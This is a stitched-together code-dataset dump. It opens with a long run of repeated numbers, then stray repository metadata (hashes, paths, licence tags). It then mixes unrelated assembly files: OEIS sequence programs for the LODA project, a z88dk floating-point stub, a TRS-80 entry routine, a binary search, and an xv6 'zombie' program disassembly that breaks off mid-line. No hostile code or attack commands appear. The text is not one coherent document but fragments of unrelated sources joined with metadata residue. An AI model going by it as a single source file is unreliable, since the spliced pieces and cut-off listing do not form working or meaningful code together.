32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
35.95082
2,999
0.658307
f522b79b3ea4c43265998ff435c5935807c145b7
572
asm
Assembly
programs/oeis/314/A314896.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/314/A314896.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/314/A314896.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A314896: Coordination sequence Gal.4.53.2 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; 1,5,9,14,19,24,29,33,38,43,47,52,57,62,67,71,76,81,85,90,95,100,105,109,114,119,123,128,133,138,143,147,152,157,161,166,171,176,181,185,190,195,199,204,209,214,219,223,228,233 mov $2,$0 mov $3,$0 sub $0,1 add $2,1 mov $4,1 lpb $0,1 trn $0,1 sub $2,4 mov $1,$2 trn $1,3 mov $2,$0 add $4,$0 mov $0,$1 sub $4,$1 lpe add $4,1 add $1,$4 lpb $3,1 add $1,4 sub $3,1 lpe sub $1,1
22
177
0.648601
ae5cc1f3175ff009ba3d676e5254bda08395c7a5
252
asm
Assembly
libsrc/_DEVELOPMENT/math/float/math48/c/sdcc_ix/cm48_sdccix_hypot.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/math/float/math48/c/sdcc_ix/cm48_sdccix_hypot.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/math/float/math48/c/sdcc_ix/cm48_sdccix_hypot.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
; float hypot(float x, float y) SECTION code_fp_math48 PUBLIC cm48_sdccix_hypot EXTERN cm48_sdccixp_dread2, l0_cm48_sdccix_hypot_callee cm48_sdccix_hypot: call cm48_sdccixp_dread2 ; AC'= y ; AC = x jp l0_cm48_sdccix_hypot_callee
14
55
0.765873
4fd4e77c81f8f44638931ce7b4f1b05fec126bad
342
asm
Assembly
programs/oeis/014/A014025.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/014/A014025.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/014/A014025.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A014025: Expansion of the inverse of the 16th cyclotomic polynomial. ; 1,0,0,0,0,0,0,0,-1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,-1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,-1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,-1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,-1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,-1,0,0,0,0,0,0,0,1,0,0,0 dif $0,2 seq $0,14017 ; Inverse of 8th cyclotomic polynomial.
57
207
0.593567
37997f32e2e32f44987712f0cdde03a664093004
378
asm
Assembly
libsrc/math/mbf32/z80/fpreg.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/math/mbf32/z80/fpreg.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/math/mbf32/z80/fpreg.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION bss_fp_mbf32 PUBLIC FPREG PUBLIC FPEXP PUBLIC SGNRES PUBLIC FPSIGN PUBLIC VALTYP PUBLIC SEED PUBLIC LSTRND FPREG: defb 0 defb 0 defb 0 FPEXP: defb 0 SGNRES: FPSIGN: defb 0 VALTYP: defb 0 SEED: defs 4 LSTRND: defs 4 IF __CPU_GBZ80__ PUBLIC ___mbf32_savea ___mbf32_savea: defb 0 ENDIF
11.454545
26
0.624339
3d5d70ca0a86ec978b8183b439f9a93144905248
350
asm
Assembly
src/entry.asm
dshadoff/Star-Spores_TRS-80_Mod1
31fd3fa0597c66fef680e8eecfaa0dcdeee781ae
[ "MIT" ]
1
2021-12-16T05:15:27.000Z
2021-12-16T05:15:27.000Z
src/entry.asm
dshadoff/Star-Spores_TRS-80_Mod1
31fd3fa0597c66fef680e8eecfaa0dcdeee781ae
[ "MIT" ]
null
null
null
src/entry.asm
dshadoff/Star-Spores_TRS-80_Mod1
31fd3fa0597c66fef680e8eecfaa0dcdeee781ae
[ "MIT" ]
null
null
null
ORG 5460H TITLEP EQU 6780H VCTRHI EQU 7880H ENTRY DI LD HL,3EH LD A,0C9H LD (400CH),HL LD (400EH),A LD HL,3E5DH LD (4020H),HL LD DE,(4016H) LD HL,(ENTRY1) LD (4016H),HL LD (ENTRY1),DE LD HL,4000H LD DE,VCTRHI LD BC,40H LDIR JP TITLEP ENTRY2 CALL ENTRY2 ENTRY1 EQU $-2 CP 20H RET NC CP 8 RET Z CP 13 RET Z XOR A RET END ENTRY
11.290323
18
0.668571
40bf2fa1669abae2408145b4d6cb6301f61e6e12
434
asm
Assembly
programs/oeis/017/A017209.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/017/A017209.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/017/A017209.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A017209: a(n) = 9*n+4. ; 4,13,22,31,40,49,58,67,76,85,94,103,112,121,130,139,148,157,166,175,184,193,202,211,220,229,238,247,256,265,274,283,292,301,310,319,328,337,346,355,364,373,382,391,400,409,418,427,436,445,454,463,472,481,490,499,508,517,526,535,544,553,562,571,580,589,598,607,616,625,634,643,652,661,670,679,688,697,706,715,724,733,742,751,760,769,778,787,796,805,814,823,832,841,850,859,868,877,886,895 mul $0,9 add $0,4
72.333333
389
0.714286
cd7a461469c68334dbecd97b7f29aa5a7653a059
175
asm
Assembly
lib/LiveUpdate/src/hotswap64_blob.asm
jaeh/IncludeOS
1cc2bcf36758ff5ef3099e0c0c1ee55f0bb1de02
[ "Apache-2.0" ]
3,673
2015-12-01T22:14:02.000Z
2019-03-22T03:07:20.000Z
lib/LiveUpdate/src/hotswap64_blob.asm
jaeh/IncludeOS
1cc2bcf36758ff5ef3099e0c0c1ee55f0bb1de02
[ "Apache-2.0" ]
960
2015-12-01T20:40:36.000Z
2019-03-22T13:21:21.000Z
lib/LiveUpdate/src/hotswap64_blob.asm
jaeh/IncludeOS
1cc2bcf36758ff5ef3099e0c0c1ee55f0bb1de02
[ "Apache-2.0" ]
357
2015-12-02T09:32:50.000Z
2019-03-22T09:32:34.000Z
; Master thesis ; by Alf-Andre Walla 2016-2017 global hotswap64 global hotswap64_len SECTION .text hotswap64: incbin "hotswap64.bin" hotswap64_len: dd $ - hotswap64
14.583333
30
0.748571
e780e5933800d314f2883d28358124b33c811f34
881
asm
Assembly
oeis/142/A142451.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/142/A142451.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/142/A142451.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A142451: Primes congruent to 44 mod 49. ; Submitted by Jamie Morken(s4) ; 191,877,1171,1367,1759,2053,2347,2543,2837,3229,3719,4013,4111,4993,5189,5483,5581,6659,7247,7541,7639,7933,8423,8521,9011,9109,9403,9697,11069,11657,12049,12343,12539,12637,13127,13421,14009,14107,14303,14401,14891,15773,16067,16361,17047,17341,17929,18223,18517,18713,19301,19889,20183,20477,20771,21163,21751,23417,24103,24593,24691,25867,26161,26357,27043,27239,27337,27631,27827,28219,28513,28807,29101,29297,29983,31159,31649,32237,32531,33119,33413,34589,34687,34883,34981,35569,35863,36353 mov $1,14 mov $2,$0 add $2,2 pow $2,2 lpb $2 add $1,32 mul $1,2 sub $2,1 mov $3,$1 add $1,3 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,31 div $1,2 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 lpe mov $0,$1 sub $0,131 mul $0,2 add $0,229
31.464286
499
0.719637
4e2f9818afd77b61340ad436a85d5c9e07372f20
753
asm
Assembly
oeis/116/A116647.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/116/A116647.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/116/A116647.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A116647: Triangle of number of partitions that fit in an n X n box (but not in an (n-1) X (n-1) box) with Durfee square k. ; Submitted by Christian Krause ; 1,3,1,5,8,1,7,27,15,1,9,64,84,24,1,11,125,300,200,35,1,13,216,825,1000,405,48,1,15,343,1911,3675,2695,735,63,1,17,512,3920,10976,12740,6272,1232,80,1,19,729,7344,28224,47628,37044,13104,1944,99,1,21,1000,12825,64800,149940,169344,94500,25200,2925,120,1,23,1331,21175,136125,413820,640332,518364,217800,45375,4235,143,1,25,1728,33396,266200,1029105,2090880,2317392,1411344,462825,77440,5940,168,1,27,2197,50700,490776,2351635,6073353,8833968,7361640,3496779 lpb $0 add $1,1 sub $0,$1 mov $2,$1 sub $2,$0 lpe bin $1,$0 add $0,1 mul $2,$1 mul $2,2 div $2,$0 add $2,$1 mul $1,$2 mov $0,$1
39.631579
458
0.713147
42fde82909e358ce3ed7a19b285e6a48948f5b75
447
asm
Assembly
Binary_search.asm
AdityaSatnalika/Microprocessor
945b05a5c58f8d8f29d150ede4688fa0f755b5e2
[ "Apache-2.0" ]
1
2017-11-28T16:06:25.000Z
2017-11-28T16:06:25.000Z
Binary_search.asm
AdiSatnalika/Microprocessor
945b05a5c58f8d8f29d150ede4688fa0f755b5e2
[ "Apache-2.0" ]
null
null
null
Binary_search.asm
AdiSatnalika/Microprocessor
945b05a5c58f8d8f29d150ede4688fa0f755b5e2
[ "Apache-2.0" ]
1
2020-09-18T08:36:27.000Z
2020-09-18T08:36:27.000Z
.model small .stack .data arr db 01h,02h,03h,04h,05h,06h,07h,08h len db 07h key db 07h .code mov ax,@data mov ds,ax mov ch, len mov cl,00h l1: cmp ch,cl jl notfound mov ax,0000h add al,ch add al,cl sar al,1 mov si,ax mov bh, [si] mov bl,key cmp bh,bl je found jg lesser jl bigger bigger: mov cl,al jmp l1 lesser: mov ch,al jmp l1 found: mov ax,si hlt notfound: mov ax, 0F0Fh hlt
8.596154
39
0.610738
ba0c8b35902e8535c28fa7f5d2f18f9a84fc081a
3,671
asm
Assembly
constants/pokemon_constants.asm
etdv-thevoid/pokemon-rgb-enhanced
5b244c1cf46aab98b9c820d1b7888814eb7fa53f
[ "MIT" ]
1
2022-01-09T05:28:52.000Z
2022-01-09T05:28:52.000Z
constants/pokemon_constants.asm
ETDV-TheVoid/pokemon-rgb-enhanced
5b244c1cf46aab98b9c820d1b7888814eb7fa53f
[ "MIT" ]
null
null
null
constants/pokemon_constants.asm
ETDV-TheVoid/pokemon-rgb-enhanced
5b244c1cf46aab98b9c820d1b7888814eb7fa53f
[ "MIT" ]
null
null
null
const_value = 1 const BULBASAUR ; 1 const IVYSAUR ; 2 const VENUSAUR ; 3 const CHARMANDER ; 4 const CHARMELEON ; 5 const CHARIZARD ; 6 const SQUIRTLE ; 7 const WARTORTLE ; 8 const BLASTOISE ; 9 const CATERPIE ; 10 const METAPOD ; 11 const BUTTERFREE ; 12 const WEEDLE ; 13 const KAKUNA ; 14 const BEEDRILL ; 15 const PIDGEY ; 16 const PIDGEOTTO ; 17 const PIDGEOT ; 18 const RATTATA ; 19 const RATICATE ; 20 const SPEAROW ; 21 const FEAROW ; 22 const EKANS ; 23 const ARBOK ; 24 const PIKACHU ; 25 const RAICHU ; 26 const SANDSHREW ; 27 const SANDSLASH ; 28 const NIDORAN_F ; 29 const NIDORINA ; 30 const NIDOQUEEN ; 31 const NIDORAN_M ; 32 const NIDORINO ; 33 const NIDOKING ; 34 const CLEFAIRY ; 35 const CLEFABLE ; 36 const VULPIX ; 37 const NINETALES ; 38 const JIGGLYPUFF ; 39 const WIGGLYTUFF ; 40 const ZUBAT ; 41 const GOLBAT ; 42 const ODDISH ; 43 const GLOOM ; 44 const VILEPLUME ; 45 const PARAS ; 46 const PARASECT ; 47 const VENONAT ; 48 const VENOMOTH ; 49 const DIGLETT ; 50 const DUGTRIO ; 51 const MEOWTH ; 52 const PERSIAN ; 53 const PSYDUCK ; 54 const GOLDUCK ; 55 const MANKEY ; 56 const PRIMEAPE ; 57 const GROWLITHE ; 58 const ARCANINE ; 59 const POLIWAG ; 60 const POLIWHIRL ; 61 const POLIWRATH ; 62 const ABRA ; 63 const KADABRA ; 64 const ALAKAZAM ; 65 const MACHOP ; 66 const MACHOKE ; 67 const MACHAMP ; 68 const BELLSPROUT ; 69 const WEEPINBELL ; 70 const VICTREEBEL ; 71 const TENTACOOL ; 72 const TENTACRUEL ; 73 const GEODUDE ; 74 const GRAVELER ; 75 const GOLEM ; 76 const PONYTA ; 77 const RAPIDASH ; 78 const SLOWPOKE ; 79 const SLOWBRO ; 80 const MAGNEMITE ; 81 const MAGNETON ; 82 const FARFETCHD ; 83 const DODUO ; 84 const DODRIO ; 85 const SEEL ; 86 const DEWGONG ; 87 const GRIMER ; 88 const MUK ; 89 const SHELLDER ; 90 const CLOYSTER ; 91 const GASTLY ; 92 const HAUNTER ; 93 const GENGAR ; 94 const ONIX ; 95 const DROWZEE ; 96 const HYPNO ; 97 const KRABBY ; 98 const KINGLER ; 99 const VOLTORB ; 100 const ELECTRODE ; 101 const EXEGGCUTE ; 102 const EXEGGUTOR ; 103 const CUBONE ; 104 const MAROWAK ; 105 const HITMONLEE ; 106 const HITMONCHAN ; 107 const LICKITUNG ; 108 const KOFFING ; 109 const WEEZING ; 110 const RHYHORN ; 111 const RHYDON ; 112 const CHANSEY ; 113 const TANGELA ; 114 const KANGASKHAN ; 115 const HORSEA ; 116 const SEADRA ; 117 const GOLDEEN ; 118 const SEAKING ; 119 const STARYU ; 120 const STARMIE ; 121 const MR_MIME ; 122 const SCYTHER ; 123 const JYNX ; 124 const ELECTABUZZ ; 125 const MAGMAR ; 126 const PINSIR ; 127 const TAUROS ; 128 const MAGIKARP ; 129 const GYARADOS ; 130 const LAPRAS ; 131 const DITTO ; 132 const EEVEE ; 133 const VAPOREON ; 134 const JOLTEON ; 135 const FLAREON ; 136 const LEAFEON ; 137 const PORYGON ; 138 const OMANYTE ; 139 const OMASTAR ; 140 const KABUTO ; 141 const KABUTOPS ; 142 const AERODACTYL ; 143 const SNORLAX ; 144 const ARTICUNO ; 145 const ZAPDOS ; 146 const MOLTRES ; 147 const DRATINI ; 148 const DRAGONAIR ; 149 const DRAGONITE ; 150 const MEWTWO ; 151 const MEW ; 152 const FOSSIL_KABUTOPS ; 153 const FOSSIL_AERODACTYL ; 154 const MON_GHOST ; 155 NUM_POKEMON EQU 152
22.94375
30
0.629801
6cebd6908e96fa877280d84083db60e402513121
775
asm
Assembly
src/core/asm/arm/aarch64/inst_0x10.asm
Hiroshi123/bin_tools
95929eb218a82e30c43ee5bd209301a24abebffa
[ "MIT" ]
null
null
null
src/core/asm/arm/aarch64/inst_0x10.asm
Hiroshi123/bin_tools
95929eb218a82e30c43ee5bd209301a24abebffa
[ "MIT" ]
4
2019-02-27T05:41:26.000Z
2020-07-16T00:24:24.000Z
src/core/asm/arm/aarch64/inst_0x10.asm
Hiroshi123/bin_tools
95929eb218a82e30c43ee5bd209301a24abebffa
[ "MIT" ]
null
null
null
;;; add (immediate) ;;; sf 0 0 1 | 0 0 0 1 | ;;; where sf = 0(32bit) __0x11_add: ret ;;; sf 0 0 1 | 0 0 1 0 | 0 N ;;; where sf = 0 (32bit) __0x12_and: ret ;;; sf 0 0 1 | 0 0 1 1 | 0 N ;;; where sf = 0 (32bit) __0x13_asr: ret ;;; sbfiz (signed Bitfield Insert in Zero) ;;; sxth(b) ;;; sf 0 0 1 | 0 0 1 1 | | ;;; where sf = 0(32bit) __0x13_sbfiz: ret ;;; 0 0 0 1 | 0 1 ..| __0x14_b: ret ;;; sf 0 0 1 | 1 0 1 0 | 0 1 0 0 | ;;; where sf = 0 __0x1a_csel: ret ;;; sf 0 0 1 | 1 0 1 0 | 1 1 1 0 | ;;; where sf = 0 __0x1a_sdiv: ret ;;; arithmetic shift register ;;; sf 0 0 1 | 1 0 1 0 | 1 1 0 .. ;;; might be asrv __0x1a_asr: ret ;;; fadd/fmov/fmul/ __0x1e_float: ret ;;; subs ;;; sf 0 0 1 | 1 1 1 0 | type(2) 0 0 0 1 | ;;; where sf = 0 __0x1e_scvtf: ret
13.135593
42
0.531613
fadc5d220e620223ef86f37e0e12abbfa4c6c974
1,628
asm
Assembly
asm/kernel/basic/parser.asm
majacQ/retroputer
807fef1c17feeaf54dcc0f8b0d5c79f5fcdfe2c4
[ "MIT" ]
58
2017-11-16T18:53:24.000Z
2021-11-02T18:14:10.000Z
asm/kernel/basic/parser.asm
kerrishotts/retroputer
807fef1c17feeaf54dcc0f8b0d5c79f5fcdfe2c4
[ "MIT" ]
28
2019-05-23T12:21:44.000Z
2022-02-12T22:40:37.000Z
asm/kernel/basic/parser.asm
majacQ/retroputer
807fef1c17feeaf54dcc0f8b0d5c79f5fcdfe2c4
[ "MIT" ]
4
2021-01-02T18:49:55.000Z
2021-04-24T23:54:22.000Z
.segment __current__ kmemmap.basic.code-start .append { peektok: { push x push y x := [bdata.current-line-aptr] y := 0 _main: dl := <bdata.current-line-ptr>,y inc y cmp dl, constants.SPACE # eat SPACEs brs z _main _out: pop y pop x ret } # # gettok returns the next token, and advances # # @returns DL: next token # ####################################################################### gettok: { push x _main: dl := <bdata.current-line-ptr> x := [bdata.current-line-aptr] inc x [bdata.current-line-aptr] := x cmp dl, constants.SPACE # eat SPACEs brs z _main _out: pop x ret } gettok-raw: { push x _main: dl := <bdata.current-line-ptr> x := [bdata.current-line-aptr] inc x [bdata.current-line-aptr] := x _out: pop x ret } backtok: { push d push x _main: x := [bdata.current-line-aptr] dec x [bdata.current-line-aptr] := x dl := <bdata.current-line-ptr> cmp dl, constants.SPACE # go back before the space brs z _main _out: pop x pop d ret } gettok-word: { push x _main: d := <bdata.current-line-ptr> x := [bdata.current-line-aptr] inc x inc x [bdata.current-line-aptr] := x _out: pop x ret } }
20.35
75
0.431818
b4c5a4ec47341d3eda66f11f3435a26f74601529
50,138
asm
Assembly
zombie.asm
jmac006/XV6-Project-2
eff1ff0c64845ecde2331d21428c655b7305fe1e
[ "MIT-0" ]
null
null
null
zombie.asm
jmac006/XV6-Project-2
eff1ff0c64845ecde2331d21428c655b7305fe1e
[ "MIT-0" ]
null
null
null
zombie.asm
jmac006/XV6-Project-2
eff1ff0c64845ecde2331d21428c655b7305fe1e
[ "MIT-0" ]
null
null
null
_zombie: file format elf32-i386 Disassembly of section .text: 00001000 <main>: #include "stat.h" #include "user.h" int main(void) { 1000: 55 push %ebp 1001: 89 e5 mov %esp,%ebp 1003: 83 e4 f0 and $0xfffffff0,%esp 1006: 83 ec 10 sub $0x10,%esp if(fork() > 0) 1009: e8 3c 02 00 00 call 124a <fork> 100e: 85 c0 test %eax,%eax 1010: 7e 0c jle 101e <main+0x1e> sleep(5); // Let child exit before parent. 1012: c7 04 24 05 00 00 00 movl $0x5,(%esp) 1019: e8 c4 02 00 00 call 12e2 <sleep> exit(); 101e: e8 2f 02 00 00 call 1252 <exit> 1023: 66 90 xchg %ax,%ax 1025: 66 90 xchg %ax,%ax 1027: 66 90 xchg %ax,%ax 1029: 66 90 xchg %ax,%ax 102b: 66 90 xchg %ax,%ax 102d: 66 90 xchg %ax,%ax 102f: 90 nop 00001030 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 1030: 55 push %ebp 1031: 89 e5 mov %esp,%ebp 1033: 8b 45 08 mov 0x8(%ebp),%eax 1036: 8b 4d 0c mov 0xc(%ebp),%ecx 1039: 53 push %ebx char *os; os = s; while((*s++ = *t++) != 0) 103a: 89 c2 mov %eax,%edx 103c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 1040: 83 c1 01 add $0x1,%ecx 1043: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 1047: 83 c2 01 add $0x1,%edx 104a: 84 db test %bl,%bl 104c: 88 5a ff mov %bl,-0x1(%edx) 104f: 75 ef jne 1040 <strcpy+0x10> ; return os; } 1051: 5b pop %ebx 1052: 5d pop %ebp 1053: c3 ret 1054: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 105a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00001060 <strcmp>: int strcmp(const char *p, const char *q) { 1060: 55 push %ebp 1061: 89 e5 mov %esp,%ebp 1063: 8b 55 08 mov 0x8(%ebp),%edx 1066: 53 push %ebx 1067: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) 106a: 0f b6 02 movzbl (%edx),%eax 106d: 84 c0 test %al,%al 106f: 74 2d je 109e <strcmp+0x3e> 1071: 0f b6 19 movzbl (%ecx),%ebx 1074: 38 d8 cmp %bl,%al 1076: 74 0e je 1086 <strcmp+0x26> 1078: eb 2b jmp 10a5 <strcmp+0x45> 107a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 1080: 38 c8 cmp %cl,%al 1082: 75 15 jne 1099 <strcmp+0x39> p++, q++; 1084: 89 d9 mov %ebx,%ecx 1086: 83 c2 01 add $0x1,%edx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 1089: 0f b6 02 movzbl (%edx),%eax p++, q++; 108c: 8d 59 01 lea 0x1(%ecx),%ebx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 108f: 0f b6 49 01 movzbl 0x1(%ecx),%ecx 1093: 84 c0 test %al,%al 1095: 75 e9 jne 1080 <strcmp+0x20> 1097: 31 c0 xor %eax,%eax p++, q++; return (uchar)*p - (uchar)*q; 1099: 29 c8 sub %ecx,%eax } 109b: 5b pop %ebx 109c: 5d pop %ebp 109d: c3 ret 109e: 0f b6 09 movzbl (%ecx),%ecx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 10a1: 31 c0 xor %eax,%eax 10a3: eb f4 jmp 1099 <strcmp+0x39> 10a5: 0f b6 cb movzbl %bl,%ecx 10a8: eb ef jmp 1099 <strcmp+0x39> 10aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 000010b0 <strlen>: return (uchar)*p - (uchar)*q; } uint strlen(char *s) { 10b0: 55 push %ebp 10b1: 89 e5 mov %esp,%ebp 10b3: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 10b6: 80 39 00 cmpb $0x0,(%ecx) 10b9: 74 12 je 10cd <strlen+0x1d> 10bb: 31 d2 xor %edx,%edx 10bd: 8d 76 00 lea 0x0(%esi),%esi 10c0: 83 c2 01 add $0x1,%edx 10c3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 10c7: 89 d0 mov %edx,%eax 10c9: 75 f5 jne 10c0 <strlen+0x10> ; return n; } 10cb: 5d pop %ebp 10cc: c3 ret uint strlen(char *s) { int n; for(n = 0; s[n]; n++) 10cd: 31 c0 xor %eax,%eax ; return n; } 10cf: 5d pop %ebp 10d0: c3 ret 10d1: eb 0d jmp 10e0 <memset> 10d3: 90 nop 10d4: 90 nop 10d5: 90 nop 10d6: 90 nop 10d7: 90 nop 10d8: 90 nop 10d9: 90 nop 10da: 90 nop 10db: 90 nop 10dc: 90 nop 10dd: 90 nop 10de: 90 nop 10df: 90 nop 000010e0 <memset>: void* memset(void *dst, int c, uint n) { 10e0: 55 push %ebp 10e1: 89 e5 mov %esp,%ebp 10e3: 8b 55 08 mov 0x8(%ebp),%edx 10e6: 57 push %edi } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 10e7: 8b 4d 10 mov 0x10(%ebp),%ecx 10ea: 8b 45 0c mov 0xc(%ebp),%eax 10ed: 89 d7 mov %edx,%edi 10ef: fc cld 10f0: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 10f2: 89 d0 mov %edx,%eax 10f4: 5f pop %edi 10f5: 5d pop %ebp 10f6: c3 ret 10f7: 89 f6 mov %esi,%esi 10f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00001100 <strchr>: char* strchr(const char *s, char c) { 1100: 55 push %ebp 1101: 89 e5 mov %esp,%ebp 1103: 8b 45 08 mov 0x8(%ebp),%eax 1106: 53 push %ebx 1107: 8b 55 0c mov 0xc(%ebp),%edx for(; *s; s++) 110a: 0f b6 18 movzbl (%eax),%ebx 110d: 84 db test %bl,%bl 110f: 74 1d je 112e <strchr+0x2e> if(*s == c) 1111: 38 d3 cmp %dl,%bl 1113: 89 d1 mov %edx,%ecx 1115: 75 0d jne 1124 <strchr+0x24> 1117: eb 17 jmp 1130 <strchr+0x30> 1119: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 1120: 38 ca cmp %cl,%dl 1122: 74 0c je 1130 <strchr+0x30> } char* strchr(const char *s, char c) { for(; *s; s++) 1124: 83 c0 01 add $0x1,%eax 1127: 0f b6 10 movzbl (%eax),%edx 112a: 84 d2 test %dl,%dl 112c: 75 f2 jne 1120 <strchr+0x20> if(*s == c) return (char*)s; return 0; 112e: 31 c0 xor %eax,%eax } 1130: 5b pop %ebx 1131: 5d pop %ebp 1132: c3 ret 1133: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 1139: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00001140 <gets>: char* gets(char *buf, int max) { 1140: 55 push %ebp 1141: 89 e5 mov %esp,%ebp 1143: 57 push %edi 1144: 56 push %esi int i, cc; char c; for(i=0; i+1 < max; ){ 1145: 31 f6 xor %esi,%esi return 0; } char* gets(char *buf, int max) { 1147: 53 push %ebx 1148: 83 ec 2c sub $0x2c,%esp int i, cc; char c; for(i=0; i+1 < max; ){ cc = read(0, &c, 1); 114b: 8d 7d e7 lea -0x19(%ebp),%edi gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 114e: eb 31 jmp 1181 <gets+0x41> cc = read(0, &c, 1); 1150: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 1157: 00 1158: 89 7c 24 04 mov %edi,0x4(%esp) 115c: c7 04 24 00 00 00 00 movl $0x0,(%esp) 1163: 